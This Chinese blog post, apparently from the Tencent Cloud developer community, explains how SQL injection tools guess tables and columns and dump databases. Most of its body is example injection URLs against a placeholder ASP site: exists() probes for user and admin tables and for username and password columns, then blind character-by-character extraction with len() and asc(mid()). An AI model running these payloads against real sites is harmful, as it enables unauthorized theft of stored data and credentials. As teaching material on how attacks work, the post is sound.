前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sql注入之猜表猜字段暴库原理

sql注入之猜表猜字段暴库原理

原创
作者头像
高久峰
发布2023-07-02 17:26:33
2100
发布2023-07-02 17:26:33
举报

前面已经讲了关于是否存在注入点的说明.

现在讲下关于阿D注入和明小子检测存在注入猜表猜字段的原理.(使用工具一定要知道工具原理,方便后期自己完善/开发工具)

1.猜表的方法:

http://xxx.com/ProductShow.asp?articleid=143 and exists(select * from [user])    //查询是否存在user表

http://xxx.com/ProductShow.asp?articleid=143 and exists(select * from [admin]) //查询是否存在admin表

2.猜字段的方法:

http://xxx.com/ProductShow.asp?articleid=143 and exists(select username from [user])    //查询在user表是否存在username字段

http://xxx.com/ProductShow.asp?articleid=143 and exists(select password from [user])    //查询在user表是否存在password字段

3.逐个记录的获取和暴库

  (1).先查询user表第一个记录中username的字段长度

http://xxx.com/ProductShow.asp?articleid=143  and (select top 1 len(username ) from [user])=1  //测试第一个记录用户名长度是不是1

http://xxx.com/ProductShow.asp?articleid=143  and (select top 1 len(username ) from [user])=2  //测试第一个记录用户名长度是不是2

.........直到测试正确

  (2).从上面记录到第一条记录的username的长度(假设是5),开始猜测这个username5位到底是什么,方法就是1位1位的猜测,毕竟

ASCII码不多

http://xxx.com/ProductShow.asp?articleid=143  and (select top 1 asc(mid(user_name ,1,1)) from [user])=97  //测试username第1位是不是a(ASCII中97是字母a)

http://xxx.com/ProductShow.asp?articleid=143  and (select top 1 asc(mid(user_name ,2,1)) from [user])=98  //测试username第2位是不是b(ASCII中98是字母b)

.........直到测试正确

通过工具循环测试很快完成检测整个表中的所有记录

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档